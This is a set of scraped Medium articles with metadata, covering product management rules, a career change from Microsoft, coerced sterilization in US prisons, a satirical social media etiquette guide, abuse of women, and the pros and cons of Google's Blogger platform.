Rules are meant to be broken: Best PMs are passionate and independent. For them, believing in themselves and creating value for customers is paramount, everything else comes later. If you’re fortunate, you can create an entirely new market. Eg: Henry Ford creating affordable automobiles: In 1908, Henry Ford produced an automobile that was differentiated in one characteristic— it was the first “affordable” automobile. The price continued to drop each year and within ten years, 50 per cent of cars in the United States were Ford Model Ts. Work on Products You Are Passionate About: Be passionate about the products you’re working on. It could be about almost anything; technology, solving customer problems, changing the way customers work or play, capturing a market and implementing a winning strategy. Why is it important? 1. If you’re working on something that you don’t deeply care about, you won’t have the tenacity and persistence to do what needs to be done for a product’s success. 2. Passion is infectious — if your team sees you’re committed and excited, they’ll carry that energy as well. Beware the “Requirements Death Spiral”: Keep your Product Requirement Documents (PRDs) simple and crisp else be ready to lead your organization into the “requirements death spiral.” Having too many specifications initially, and adding some more will compel you to miss out your product launch dates and create disharmony among the engineering team. PMs should focus on the problem space and encourage engineering to apply their creative energies to the solution space. Think Like an Entrepreneur: To think like a PM requires thinking like an entrepreneur. Just like how entrepreneurs need to convince Venture Capitalists (VCs), banks to invest time and resources in them, PMs also have to convince the management team of the future value of the product concept being proposed. Both entrepreneurs and PMs have one thing in common: the clarity of customer need. They know the profile, needs, emotions, and purchase drivers of their customers. Learn to Say “No” to Customers: PMs listen to many stakeholders and in order to understand their needs, one important part of this process is sharing information about strategic product road mapping with users. However, doing this will invite features that won’t align with the product’s long-term goals, and this is where the PMs need to step in and say ‘No.’ This quote from Ivan Chalif, Blogger, The Productologist sums it up really well — “Saying “no” lets product managers focus on delivering superior products rather than ones that are merely sufficient.” Product Management Is Inherently Political: In an ideal world, we’d expect several stakeholders willing to compromise and put the organization’s overall interest first. However, this is seldom the case. Therefore, it’s important for PMs to recognize the “internal politics” or “group decision-making” (whatever you want to call it) and help them understand your process and the resources your teams will need to complete a project. There Is a Fine Line between Knowing It All and Being a Know-It-All: As PMs lead several teams that don’t report to them, they’re expected to be decisive and play a judge while dealing with suggestions from different stakeholders. Certainly, this will invite conflicting opinions on key issues. However, it’s the PMs responsibility to keep their egos aside and handle the conflict with data-backed knowledge. Refrain from being the know-it-all — instead be someone that all know they can follow, learn from, and ultimately trust to lead the product toward success. Market Research Must Be Actionable: A good market research is not about using your favourite expensive market research tool, but about questions that help you understand your customers, your competitive marketplace, your competitors, and yourself. And you can do all this by just getting on a SOFA: Systematic, Objective, Focused, Actionable. Only things you need to conduct great market research is a commitment to understanding your customers, a willingness to accept your incorrect preconceived notions, and asking specific questions and a readiness to act. But the most important thing is to actually listen to your customers The Two-Week Rule: To avoid launching a failing product, introduce the product first to your customers and gather validated learnings by focusing on the right activities — prototyping and testing it on real users. You can do this by simply following one rule — never go more than two weeks without putting your product ideas in front of real users and customers. After it, it’s all about failing fast. Market Needs, Not Individual Requests: On a daily basis, PMs receive several feature suggestions from the organization’s stakeholders and customers. Instead of focusing on individual demands, PMs should start listening to market needs. You will often learn more about talking to people who are buying your competitors’ product or who once bought it, but aren’t using it anymore. Practising this consistently will make your product relevant to an entirely new customer base. No Surprises: When writing your Market Requirement Documents (MRDs), talk to your engineers, designers and everyone involved with the product to understand their requirements and ability to finish the task within set deadlines. Be transparent and explain your method of prioritization as this will make them more accepting of your product decisions, even when their suggestions aren’t deployed. Be Data-Driven by the Consumers of Your Product: We all have our favourite feature that we think will drive the product success and we may fight for its survival. But we’re wrong to do that. As PMs, our job is to improve our odds of being right about customer needs, and the only way to achieve this is by talking to the customers. Know about their underlying problems and how to solve them. Remember: you are not the customer, but you are the distilled collective voice of all of the customers. 90–360–3 Framework: The answer to “How long will it take you to make an impact?” The rule is simple: over ninety days, take a 360-degree view of your organization and develop three top-line measurable objectives. This will give you critical insights, visibility, and measurable objectives. Don’t use this process after 6 months. How to use it?— 1. Design a rhythmic timescale right for you and your organization. 2. Build regular and ongoing connections with all the groups in your organization. 3. Develop a measurable and attainable set of objectives Creativity Opens Up More Possibilities: Creativity plays a crucial part in every PMs lives as they can develop creative techniques to solve day-to-day operational tasks. One way to do this is by mind mapping: Start off with a blank sheet of paper and summarize part of the problem you are trying to solve in just one word. You can further branch them out to create a more complex mind map. Another technique involves studying parallel universes that are completely unrelated to the product you manage. This is a great way to guide teams to explore all possibilities without relying on the clichéd “think outside the square” method. Get Your Hands Dirty: As a PM, you should know everything there is to know about your product as it's your best tool to understand your customers and their underlying wants. Be passionate about what you’re building, and that can only be gained from actually hacking, cracking, and beating on the very thing you’re trying to develop. That “survey of one” is quite an essential part of your job and you have to do it consistently. Get Out of the Office: There’s no better way to understand your customers' needs than by actually meeting them in their natural habitat. While the data can tell you about their usage patterns, only by being present in their environment can you learn — 1. What they’re thinking about? 2. how they’re using your product? and 3. How much benefit/satisfaction your product actually provides them? You Do Not Own Your Product: In a company, the CEO makes all decisions, including the ones concerning the product. PMs are only responsible for the product’s lifecycle but they don’t have any authority over it. However, successful leadership promotes and leverages collaborative decision-making process than a top-down mandate. Carve Out “Think” Time: While PMs are often overwhelmed with daily operational tasks and tactical responsibilities, it’s crucial for them to take some time to think about long-term prospects of the product, explore new markets, discover untapped opportunities, learn about alternative product solutions, and up-skill on product management techniques. PMs can use this time to think about product strategies or simply spend that time drawing inspirations from talking to people in other professions, watching a film and so on. Get the Market Segmentation Right!: Do your own market segmentation before making your product. Once you do this, focus your efforts on marketing the product to those specific consumer segments. Use common sense while naming your service, else face massive losses. How to accurately segment your market? Look at the market. Talk to prospective customers. Find groupings that match common needs, characteristics, and behaviour. Clarify Product Positioning: An essential starting point for solving many product management problems is a clear positioning statement; a one-line statement which you use to describe your product to anyone with minimal understanding of it. Creating a positioning statement forces you to figure out what you are best at, where you are in the hierarchy, and exactly what you are. How to write good product positioning statement? 1. Where do you provide value? 2. What are you the best at in the industry? 3. What exactly do you sell? Write it in as detail as you can and shorten it until you arrive at a single statement. Define and Align Your Roles and Responsibilities: Often, many organizations copy/paste the job description of product managers on job portals which can lead to significant misalignment and frustration. To avoid this, it’s important to build your definition of your role and responsibilities with the management, hiring managers, cross-functional teams, and arrive at a common ground. Most of the times, organizations are unaware of PMs duties and this is your opportunity to educate them on what you should be doing and why you should be doing it. Write It Down!: Your job as a PM is to document and clarify. Your PRDs and MRDs should be the go-to documents for anyone involved with the product’s development. Write about your audiences and the time-frame in which you need to serve them. Invite reviews and inputs and revise/update them whenever necessary. Make Sure You Have Clear Priorities: There are always more product ideas than there are resources to implement them. Have clear priorities so that teams and stakeholders know which high priority product you’re currently working on. To do this, create a list of High, Medium, Low priority items and further divide them under H1, H2, M1, M2, L1, L2, etc. Share this list with everyone and keep it updated. Be clear and agile just like water. Salespeople Don’t Just Want to Make Lots of Money: Salespeople are motivated primarily by winning. Money is simply a yardstick to keep score. Focusing on your product or service features and benefits without tying these directly to business value is a recipe for failure. Understanding what really motivates most salespeople will help win acceptance and drive more revenue for your products and services. Create a Culture of Openness: As a PM, you will not see all of the greatest dangers or opportunities yourself, so you must create a culture of openness within your company. Only open communication will ensure that dangers are avoided and opportunities are capitalized on. Align Your Product Strategy with the Company Strategy — Then Sell It: A PM can do this in three simple steps — 1. Understanding the company strategy: You can figure this out by talking to executives. 2. Aligning product strategy with company strategy: Your product strategy must support the company’s ability to deliver it else it will be deemed as wasteful. and, 3. Telling the strategy story and gaining executive support: Finally, unveil your product strategy to executives and ask for the resources you need to make it. Short, Standardized Cycle Times Drive Predictability: Predictability is more important than high productivity. Predictability means dependent organizations — internal and external — can plan with confidence. Knowing what gets prioritized and accepted into a development cycle gets released into production on time, every time. Find Market Problems Worth Solving: Instead of coming up with new ideas, invest time to clearly describe the problem you have identified and then imagine a world where it has been solved. See the product in the world instead of seeing the world through your product. Imagine a world where you have solved the problem — how did it change, did your product create any valuable impact on consumer’s life? If it did, then it’s worth building. If the solution seems impossible, sell that product’s vision to stakeholders. A Business Is Not a Democracy: As a PM, it’s your responsibility and not the engineers or sales teams to decide which features to add to your product. Doing so will lead to sub-optimal products that customers may never use, and from the business perspective, will lead to huge operational losses. But, you simply cannot issue edicts and expect everyone to follow because PM is a synthesis role; you need to make decisions about tradeoffs and compromises by consulting with all cross-functional teams. Agility Is Key to Product Management Success: Despite having little authority over product decisions, a PM can ensure his/her success by being flexible and having organizational agility. Flexibility means changing a course easily given a set of parameters. But, it does not mean caving in on every suggestion. You should know when to be firm and flexible. Managing organizational agility includes factors company size, company culture, where you fit into the organization chart and how you view your role within the organization. Essentially, it means communicating with stakeholders to move your initiatives forward. Tap Into Your Customers: In order to make the best decisions about product features, packaging, marketing messaging, etc., you need to tap into your customers and know what their underlying needs are. Doesn’t matter what you think, only your customers’ perception does as they’re the ones paying for your product. Integrate your customers’ perspectives via customer interviews, surveys, and testing your marketing messages/emails. Doing this will lead to creating a product that the customers really want. Determine Your Marketing Approach Early and Wisely: Determine your marketing approach early — at least twelve months prior to launch — and you will essentially avoid wasted energy, course correction, and effort with no return. It’s the difference between “product readiness” and “market readiness.” Instead of generating marketing buzz via “spray-gun marketing” and PR that management loves, focus on what/who influences your product, do they need trial period, what drives their buying decisions, your company’s current brand image, metrics that you use, and so on. Let the Customer End the Debate: PMs act as a debate moderates, often deciding what suggestions to take from different stakeholders. But this can often lead to disagreements and will result in a sub-optimal product that customers are unhappy with. One way to stop this debate is to equip yourself with real customer feedback from solid market research. After all, they’re the ones buying the product. Differentiation Isn’t Enough, You Have to Be Better: Product differentiation isn’t enough to compel a customer to switch from using your competitors’ product. You need to offer something “better” that provides the greatest value to the customers. To do this, focus on these 3 areas — 1. what customers want. 2. what you’re good at. 3. where competitors are weak. The intersection of these three is where you can define, develop and deploy a product that is more likely to succeed. Act Like a Child: The best way to get to the core of the customer’s pain points is to keep asking “Why.” By consistently asking this, you arrive at a core problem that will help you design a product that successfully solves the customers’ problems. (This is similar to the Five Why technique used in Lean Startup methodology.) Decide What You Are Going to Do and Not Do: Companies have limited resources and time and must decide which market segments to pursue and which to avoid. Companies in mature markets require more resources to better position their product while in an emerging market can provide better growth opportunities using fewer resources. Deciding what not to do is based on whether the market makes sense to the overall organizational goals and objectives. Trust and Leadership Through Good Relationships: Along with the technical skills, it’s important for PMs to have social skills which can help motivate and encourage cross-functional teams and facilitate better communication. One of the important skill that a PM should have is conflict management. By simply asking someone what they’re working on, you can establish a relationship with people and facilitate mutual trust and camaraderie. Great Execution Trumps a Great Product Idea: Focusing on execution is often challenging, especially for PMs because they have to make several small decisions when bringing new products to the market. They can be classified by — 1. Market, customer, product, and functionality 2. Sales and distribution 3. Usability 4. Technical, engineering, implementation, maintenance, and support. To overcome these problems, PMs must understand from where the derived requirements stem and solicit a good evaluation of trade-offs and downsides from experts in specific technical areas. Great execution is all about establishing the right requirements and goals for the product. Be All You Can Be: Despite having less authority, the one thing that PMs do have is influence and they can use this to act as a General Manager — usually responsible for all aspects of the business including the P&L (profit and loss) and revenue and growth goals. While thinking about the overall context of your product, consider analyzing market dynamics, customer and share of the market, business model, pricing and value, total customer experience and operational impact, product lifecycle management. I Can See Clearly Now: The Power of Transparency: Product creation is a high-speed, market-driven undertaking. PMs have to keep up with the constant stream of ideas from various stakeholders and one effective way to do this is to create a document that everyone has access to. This provides certain transparency and invites collaboration that can help teams work on projects effectively and allows you to go through the feedback loop, fail faster, and avoid wasting massive development costs. Always Be Learning: Keeping current in all trends — technology, business, industry, political, culture — requires a passionate desire to study. Doing so helps you create a better understanding of your job and live up to your stakeholders’ expectations. Talk to your teammates, learn a discipline that complements your skills, learn about your industry and expand to other industries. Learning is a life-long process and the more you do it, the more likely you’re able to create a product that will meet your customers’ expectations. These Are Our Rules. What Are Yours?: Rules are designed to prevent failure and, in particular, the repetition of failure. The majority of rules in the book emerged from the personal, observed, or near-failures of each rule’s author in bringing a successful product to market. The rules contained in this book can help by provoking you to think differently about how you do your job and manage your products. Now it’s time for you to make your own rules! | https://medium.com/@mayur9/learn-about-42-rules-of-product-management-in-13-minutes-f8e80e4009ac | ['Mayur Patil'] | 2020-12-17 16:58:19.199000+00:00 | ['Product', 'Product Development', 'Product Design', 'Product Management', 'Startup'] |
From Class President to Presidential Innovation Fellow | Microsoft
There’s a lot of history between third grade and senior year at Harvard, and that can realistically be summed up as, “Vivian dreamed of helping the world, set herself up for success by studying hard, became jaded by ‘real life’, and decided to go work at Microsoft.” That’s probably a pretty cynical and reductionist view of all of the incredibly enriching experiences I had, but for the sake of this piece that’s all you need to know. While I would strategically tell interviewers that I proactively chose to go into marketing because I loved the balance of qualitative and quantitative thinking (which is true), I really landed in marketing at Microsoft because I fell into it. Luckily, I was pretty good at marketing, and it seemed like a lucrative enough career that I also enjoyed. My dreams of dedicating my life to service would continue to lurk in the background while I focused primarily on being a corporate-ladder-climbing Ivy League graduate (which was enjoyable in its own way). Either way, my dreams of maybe being president one day was simply a hazy childhood memory.
Flash forward to an incredibly successful and enriching six years at Microsoft. This from a quintessential millennial who told herself she would “try out” a bunch of companies for a few years before deciding to settle anywhere. Over the course of six years, I would have opportunities afforded to me that I would not have gotten anywhere else. I worked on million-dollar advertising campaigns, achieved first-name basis with executives I admired, helped government organizations through a pandemic, and made friends who are now my friends for life. But if I were to track my career in any way, it would be by the rebirth of my desire to do something bigger for the world.
Of all the evils, Microsoft is definitely one of the lesser. Within Big Tech, Microsoft continued to show up in ways that mattered to me — we were more transparent about privacy, we were going carbon negative, we were paying our hourly on-campus workers during the pandemic. But a lot of those commitments felt too far above me and I wanted to be directly involved. During my first few years at Microsoft, I found myself becoming more and more drawn to the idea of doing something meaningful without any strings attached. Microsoft is undoubtedly doing amazing things for the world, and I was lucky to be able to participate in those activities. I launched a campaign focused on drawing attention to the staggering gender gap in STEM and helped state CIOs envision a new future for constituent engagement. Microsoft was the conduit for me to start flexing my do-gooder muscles again and the spark for my renewed interest in doing something good for my community.
What I didn’t realize and appreciate at the time was that I was actually building a robust skillset that would equip me to serve in a way that I would never have imagined. The roles I had, from Global Advertising to U.S. State & Local Government, were setting me up for an opportunity that was only possible because of the skills I developed. And I’m not just talking technical marketing skills…I’m talking about learning how to manage a campaign team, collaborating with stakeholders across the company, mentoring early in career hires and reverse mentoring executives, knowing how to deescalate conflict. Microsoft gave me the skillset to confidently make a leap into a new, impact-oriented space. | https://medium.com/@vivianejlee/from-class-president-to-presidential-innovation-fellow-3e42dca4ef82 | ['Vivian Lee'] | 2020-11-18 22:09:00.994000+00:00 | ['Career Change', 'Civictech', 'Digital Advertising', 'Government', 'Digital Marketing'] |
Modern American Eugenics: Sterilization in the Justice System | A new lawsuit alleges that ICE inmates in a Georgia prison were needlessly sterilized. The complaint describes doctors performing hysterectomies on several immigrant women. There is evidence that the procedure was not required and that the women did not even understand why they had to undergo the procedure.
A hysterectomy is a surgery to remove the uterus. A doctor may recommend the procedure for things like ovarian cancer or persistent vaginal bleeding. Women who undergo the procedure can no longer get pregnant — they are sterilized. Because of this, doctors are hesitant to perform the procedure unless absolutely necessary. Instead, doctors may fight every step of the way to avoid the procedure. This makes the ICE’s frequent use of the procedure raise serious red flags. Why are so many immigrant women sterilized by the government if not for the fact that they are immigrants?
The ICE hysterectomies are not an isolated incident. The justice system is eager to pressure people to give up their fundamental right to reproduce. Sterilization against people in the justice system has no place in America.
The U.S. has an extensive history of sterilizing minorities.
The U.S. has a long history of sterilizing Black and brown women. For example, in the 1974 case Relf v. Weinberger, the Southern Poverty Law Center revealed in a lawsuit that the federal government funded 100,000 to 150,000 sterilizations per year. This was population control.
One of the most notorious state sterilization programs was the North Carolina Board of Eugenics, which sterilized thousands of poor Black and brown women because they were on welfare, wanted an abortion, were in prison, or the doctors simply thought that it would be better if those women couldn’t reproduce. North Carolina wanted to reduce the number of Black people. This is clear because the number of sterilizations increased when the Black population increased but was unaffected by increases in the White population.
Widespread government sterilizations of minorities stopped by the 1980s. However, sterilization programs are still proposed by lawmakers and the justice system. Modern lawmakers sometimes openly suggest sterilization programs as a form of population control. In 2009, one Louisiana lawmaker suggested paying poor women $1,000 to have their tubes tied. Why? To reduce the number of people on welfare…by eliminating the ability of those women to reproduce permanently. This perverse idea is at the core of sterilization programs. People with authority decide that it “would be better for society” if “undesirables” couldn’t have any more children.
The core point is that the ICE hysterectomies are not an isolated incident. Even since 2000, there have been several documented cases of coerced sterilization in the U.S.
Today, judges and prosecutors push for sterilization and promise shorter sentences, while prisons lie to induce sterilization.
In the South Carolina case Heaton v. Stirling, Dr. Patricia Carney told prisoner Kimmie Heaton in 2004 that she needed a hysterectomy because she had endometriosis. However, when Heaton received her medical records in 2018, she discovered that she never had endometriosis. Heaton sued because she was wrongfully and involuntarily sterilized. Heaton’s litigation is ongoing.
In California, between 2006 and 2010, hundreds of inmates were illegally sterilized by prison doctors. Hundreds more were pressured to have their tubes tied. The California prisons justified the procedures by claiming that:
“Over a 10-year period, that isn’t a huge amount of money compared to what you save in welfare paying for these unwanted children — as they procreated more.”
Justifying sterilization because future children will be on welfare is eugenics.
In 2014, a Prosecutor offered a Virginia man a plea deal to reduce a 5-year sentence for reckless driving if he got a vasectomy. Telling someone that if they do not get a vasectomy then they will spend five years in prison is coercive. Despite this, the court thought that this was a valid and voluntary agreement.
In 2015, a Tennessee district attorney was fired after repeatedly recommending sterilizations in plea deals for women. For one suspect, this DA would not consider a plea deal without sterilization. The only reason he was fired was because of the intense negative press over the deals after the defense counsel reported them. It is unclear how many more “deals” the DA coerced from women. Tennessee only banned sterilizations in plea deals in December 2016. Similarly, in 2009, West Virginia prosecutors recommended that a mother of three get her tubes tied to reduce her sentence for marijuana possession. She agreed.
In 2017, a Tennessee judge submitted an open order that any men who would get vasectomies could get 30 days off of their sentences. The order also gave a 30-day credit to women who got birth control implants. 38 men and 32 women agreed to the procedures. The judge justified the order by saying:
“I hope to encourage them to take personal responsibility and give them a chance, when they do get out, to not to be burdened with children. This gives them a chance to get on their feet and make something of themselves.”
The order was eventually pulled by the judge and the judge was fired. In 2019, there was still active litigation related to the unconstitutional and coercive order.
Finally, in 2018, an Oklahoma judge “recommended” that a woman be sterilized to reduce the sentence for her counterfeit check charge. The woman took up the judge’s recommendation.
A common theme between all of these instances is the narrative of personal responsibility. They say that to stop future children from having an “unfit” parent, people should give up their fundamental right to reproduce. This is coercive. This is unconstitutional. This is wrong. When a judge or prosecutor decides that it is better for you to not have children because of your “undesirable” traits, that is eugenics.
Unfortunately, there is no way to know how many “off the record” sterilization deals happen every year. We only hear about them if defense counsel goes to the press, or a judge puts out a public sterilization order.
“Recommendations” for sterilization from the government are inherently coercive.
Historically, governments, judges, and prisons justified sterilization programs by calling them “voluntary.” They argued, as ICE will likely argue, that there was no coercion because the women willingly signed a form permitting the sterilization. This argument ignores the fact that procedures pushed by the government, especially in prison, are inherently coercive.
Normally, people are likely to listen to what their doctors say, since doctors are the experts. It is generally hard to second guess your doctor. It is even harder when that doctor is an agent of the prison holding you. Your ability to consent is doubtful if your doctor speaks a different language than you. It is doubtful that you can consent to be sterilized if the prison, which controls you, employs the doctor that recommends sterilization. It is questionable whether your “consent” is voluntary at all. As one article pointed out:
“Medical professionals in prisons “face extraordinary ethical challenges: prisoners, who cannot choose their care provider and who are fully dependent on the health care provided to them, are a vulnerable population, as demonstrated by the many exploitations, abuses, and violations of their human rights in the past.”
A prison doctor can appear like an extension of the prison because of the power the prison has over prisoners. Prisons control all of your decisions and actions while incarcerated. As such, it exerts pressure on decision-making that may make medical consent seem like a sham. This potential for coercion and abuse is not academic or hypothetical. The U.S. has a history of “voluntary” sterilization that continues well into 2020.
Meaningful consent is also dubious when the intentions of such plans are so blatant. Especially so with the women sterilized in Georgia. Why is this permanent procedure being used at such a high rate, especially when it is not necessary? How can women who do not speak fluent English fight an American doctor strongly “recommending” a permanent procedure? The coercive effect is obvious.
It is one thing if a woman wants or needs a hysterectomy, or if a man wants a vasectomy. It is something else entirely if a judge, prosecutor, or prison doctor determines that you should have the procedure.
What can we do to prevent coercive sterilizations?
The main problem with fighting the justice system’s use of sterilization is that it is a hidden problem. If prosecutors suggest it off the record and judges keep quiet, then it is difficult to see how pervasive the problem is. The only thing we know for sure is that this coercive practice happens too often. However, there are four demands that we can make to our state governments to prevent this from happening in the future:
1. Provide multiple doctors for prisoners to choose between. Prisons cannot provide only one predetermined doctor for prisoners. Doctors who directly work for prisons and do coercive work have an inherent conflict of interests. We must avoid rubber stamps for sterilization. There must be a separation between the government and the doctor providing care. Prisoners cannot give meaningful consent when a single doctor, who may push sterilization, is the only option.
2. Provide translators for people who do not speak English. If an English-speaking doctor tells a Spanish-speaking woman that she needs a permanent procedure, that woman likely cannot give informed consent. If there is no informed consent for procedures, then they are involuntary. Translators should be available for people going to a doctor while in custody.
3. Demand that all states ban the use of sterilization in the judicial process. Sterilization has no place in the criminal justice system. It is perverse for a prosecutor or judge to threaten years in prison unless you “agree” to be sterilized. The reason that judges and prosecutors continue to use these tactics is that they are not explicitly banned.
4. Disbar prosecutors and judges who suggest sterilization in exchange for a lighter sentence. Prosecutors and judges must be punished for implementing sterilization schemes. It is a betrayal of public trust and human decency to pressure someone to sterilize because of their “undesirable” traits. That is eugenics, and it has no place in America.
We cannot undo the harm that has been done to any victims of government-coerced sterilization. However, we can stop this from happening to any more vulnerable people. We must ensure that modern American eugenics is a thing of the past. | https://aninjusticemag.com/modern-american-eugenics-sterilization-in-the-justice-system-9d5de263f1f6 | ['Aris X. Hart'] | 2020-09-21 19:25:32.936000+00:00 | ['Race', 'Justice', 'Immigrant Rights', 'Criminal Justice Reform', 'Prison Reform'] |
An Etiquette Guide for Surviving Social Media | Commenting
This is the one area that is fraught with danger. It’s so important that I’ve included a numbered list below of things to avoid commenting on, ever. If you want to be safe, don’t deviate from this list.
1. Profile photos
Never ever say anything. Click the like button if you must but don’t comment. Especially not if the person has asked a question about their profile photo. That is a trap, don’t go there. No matter what you say, they will warp, twist and distort your best intentions to suit their evil purpose. Their other friends are waiting for the first idiot to make a comment and will then join in on the attack, whilst thanking their lucky stars they didn’t say exactly the same thing. The villagers have pitchforks and you’ve just been outed as the witch. The more followers someone has the more dangerous you should consider them to be. They’re old hands at this. Stay silent.
2. The Bitch
This can be either a man or woman and this is the person who responds to one of your posts with an unpleasant comment, often ending in comments about genitalia, self-pleasuring and the consumption of unpleasant body byproducts. If you’ve been posting about the topics I referenced in posting, then you’ve shot yourself in the foot. The best way to proceed is to delete the post and ban the person who commented. This serves a dual purpose.
By acting first, you maintain the high ground. Removing the post removes the temptation to respond in kind. This is an absolute no-no. Never respond. Not a word. Responding will ruin your day, elevate your blood pressure to new heights and spur you to look for a convenient rafter and a piece of rope. Delete, ban or block and move on. Have a coffee and formulate your next offensive post. You’ve just saved yourself a load of stress and aggravation. The digital world is full of idiots, luckily you can choose who you get to hang out with.
3. The Sad Sack
You’ve seen the posts. Life has no meaning. Their inability to cope with some minor task of the day has rendered their very existence unbearable. Resist the temptation to offer advice. Again feel free to click on the like button to show you’re not a heartless bastard and move on. No advice. Ever. I find the little prayer hands emoji very useful for this situation. It shows you care, even if you don’t.
4. One Upmanship
There will always be someone that is sadder than you and they will feel the need to comment with their story of misery right below yours. Resist the urge to respond. They’ve beaten you. Just accept it and wait for them to post in a few days. That’s the time for payback.
If you respond straight away people will see you as being harsh and uncaring. Your dog may just have died but the other person lost four pets at once in a freak meteor strike. Like I said, they win.
The Digital Mood
No one likes a happy camper online. People who are continuously happy are downers that no one else can identify with. You need to show your flawed personality if you want to connect online. Seeing someone worse off than themselves makes people happy and makes their lot seem that little bit more bearable. You’ve cheered them up. They’re not sure why, but you have. So they follow you, hoping that your misery is not a once-off. You’re allowed brief moments of positive thoughts and happiness but don’t overdo it.
I hope you’ve found this guide helpful and that you can now engage with your audience in a more forthright and convincing manner. In Wonderland, sincerity is everything so lay it on thick and you’ll soon be covered in followers. Celebrate when you hit a thousand by changing your profile photo and asking for comments. You’re the boss now. | https://medium.com/lighterside/an-etiquette-guide-for-surviving-social-media-866c1f1ca0ba | ['Robert Turner'] | 2019-12-19 02:40:49.886000+00:00 | ['Lighterside', 'Online', 'How To', 'Social Media', 'Humor'] |
You’re welcome. Yes, it’s very tempting to edit a highlighted section. But please don’t edit it. Here’s another reason why: If you have more than one reader who’s highlighted the same section of your… | You’re welcome. Yes, it’s very tempting to edit a highlighted section. But please don’t edit it.
Here’s another reason why:
If you have more than one reader who’s highlighted the same section of your article, all of their names will disappear and so will their highlights.
Take care, Clint. | https://medium.com/@singh.erin/youre-welcome-yes-it-s-very-tempting-to-edit-a-highlighted-section-but-please-don-t-edit-it-24260f8b1a29 | ['Erin Singh'] | 2020-12-13 22:52:41.151000+00:00 | ['Writing', 'Editing', 'Writers On Medium', 'Medium', 'Highlights'] |
Trying to understand the abuse of women and find possible remedies. | What I have seen about the subject are videos showing the help signal, and the alternative of calling the police and saying some nonsense that, hopefully, will be understood and the police force will go to the victim’s address to save her.
Yes, a gesture from us can help, but whoever is on the front lines of this worldwide battle studies and knows that the vast majority of these women are isolated from groups, family, friends and without any support. Much of what goes here is the result of comments and help from an extraordinary woman, Africa Zanella, frontline fighter, writer, activist and speaker.
Social class isn’t that important unless it’s drugs, heavy drinking.
Yes, it is good to make the victim aware, AND THE PERPETRATOR AS WELL
Photo by Kat J on Unsplash
As soon as these women know their rights, they will probably suffer from numerous psychological disorders, also due to their economic dependence, which paralyzes them.
There are cases of women who go to a health clinic and ask for an abortion permit, to save their child from future abuse, showing that they are in fear and panic, with no alternative, not being able to go anywhere without the criminal’s supervision.
It’s amazing and shameful!
Focusing on the shame of the perpetrator is more effective: in some of the patterns of behaviour found in many cases the man has remorse after he is sober, enabling them to understand his behaviour; can help.
Photo by Gianfranco Grenar on Unsplash
Punishment for crime is a last resort, rarely effective.
These types of men have been trained and conditioned to believe that women are just an extension of them, their property, their black shadow. In fact, they are somehow punishing themselves by projecting their incompetence onto women, trying to deny their own incompetence.
Society needs to retrain itself and separate this inappropriate practice based on some romantic notions, and of unequal power between the sexes.
Public policies, programs and, yes, social engineering are needed to bring balance, with a compassionate heart, and the Law.
Wikipedia
The Judeo-Christian religions were largely responsible for this with the fable that Eve was created from a part of Adam.
The original Christian religions, Catholic and Lutheran, have endeavoured to correct this misinterpretation.
However, numerous so-called “evangelical” sects proliferate, especially aimed at the poor, and confirm this legend and the other one, the “grow and multiply”; they preach that it is abominable and forbidden any type of non-natural birth control: they induce proliferation of children that their followers cannot support; children are produced with no care, no affection, famine, who, so often, may become outlaws and bandits.
Worse, much worse, are the legends of fanatically Orthodox Jews and Muslims who rigorously subject women as extensions of the male and under his authority, subject to inconceivable and unacceptable punishment if they dare to complain.
Legends for legends, it would be better the one saying that there was a woman before Eve, Lilith https://en.wikipedia.org/wiki/Lilith, created with Adam from the dust of the earth, created in the same way as Adam, so she demanded equality and did not accept to be dominated by her husband.
The West has a lot to learn from Eastern life and practice, such as TAO, for example, where both men and women are considered spiritual beings under the influence of the “Law of creation by Mother Earth”.
Comment by Africa Zanella:
“We know why this happens, drugs, alcohol, culture, religion etc… The big challenge is how are we going to prevent this abuse and this violence from happening?
This author believes that much more needs to be done to educate, understand and remedy the perpetrator’s behaviour, rather than a legal system that punishes, separates, and fails to seek ways to remedy the trauma and impact on individuals and the family.”. | https://medium.com/@blogflaviomusa/trying-to-understand-the-abuse-of-women-and-find-possible-remedies-4fb71c00a5c7 | ['Flavio Musa De Freitas Guimarães'] | 2021-07-23 03:54:33.154000+00:00 | ['Abuse', 'Crime', 'Solutions', 'Remedies', 'Help'] |
Advantages & Disadvantages of Google Blogger Platform | Blogger is a free platform where you can easily start a blog within a few minutes. Hosting and domain are not required.
Many of us would be well familiar with this platform, anyone can share their thoughts with the world and build trust with other people.
Google acquired Blogger in the year 2003, since then, thousands of publishers and small webmasters using this free platform.
The main reason that many publishers are still using Blogger because it is 100% free & safe. Today, starting a blog on WordPress costs money as a user has to buy their own hosted domain and hosting service.
On the Blogger platform, there is no such thing as personal hosting actually it is provided free of cost by Google and this is the main reason many of us still trust this Blogging platform.
If you are familiar with the Blogspot platform then you may know that the publisher gets a Blogspot subdomain.
After all, there are many factors that make this platform outdated because of the lack of customization and resources.
We gonna point out some advantages and disadvantages of using Blogspot.
Now, let's talk more about what are the real benefits of using this platform.
Advantages of Blogger
1. It's Free to Use
Investing money to own a hosted website really cost you a few bucks monthly and almost every month publisher need to pay for hosting charges to keep their site alive.
Blogger platform provides lifetime free hosting and in this way, you can write thousands of articles and even get unlimited traffic without paying a penny.
Lots of WordPress hosting providers have a high pricing structure and are based on the "Pay as you Grow" model.
2. Lifetime Free Subdomain
While registering an account, the user has the option to register a Blogspot based subdomain.
Example - Google.blogspot.com
It is very easy to set up and it also won't require any kind of DNS management (Sadly, you don't have access to any advanced settings such as DNS)
Note - The subdomain provided by Blogger is not a hosted domain.
It won't cost money and is free for lifetime use. In the blog URL, visitors will always see Blogspot phrase after the name of the site until you move to a custom domain.
Instead of Blogspot's name, the custom domain has many benefits.
3. Custom Themes
With custom templates or themes, customizing the design and look of a blog can be done.
Officially, there are only a few themes available for Google Blogger and to customize look and design serious coding knowledge is required.
There are thousands of templates that are available for the Blogger platform. Many webmasters always say that there is a lack of Blogspot templates but I don't agree with those guys.
Professional blogger templates are an easy way to customize the design and look of the blog including improved SEO, usability, and site loading speed.
4. Using Third-party Gadgets
Without interacting with classic widgets you can also add lots of improved third-party widgets that are even more functional. A publisher can make a Blogspot blog far better than others.
On official blogger templates, we can add our own HTML/Javascript widgets but these are only executed in the web version of the Blogger blog. AddThis is one of the best website tools provider.
You may need some basic coding knowledge in order to customize your blog.
To use external widgets efficiently custom themes would be required.
5. Better Security
Do you know that hacking and cybercrime is rising globally? There are a lot of previous records of website hacking and DDoS attacks. Or similar types of hacking practices are increasing.
The biggest benefit of using google blogger, a publisher will get better security. Even today, digital publishers are paying large amounts of money to get their website secured, and actually, it works for them.
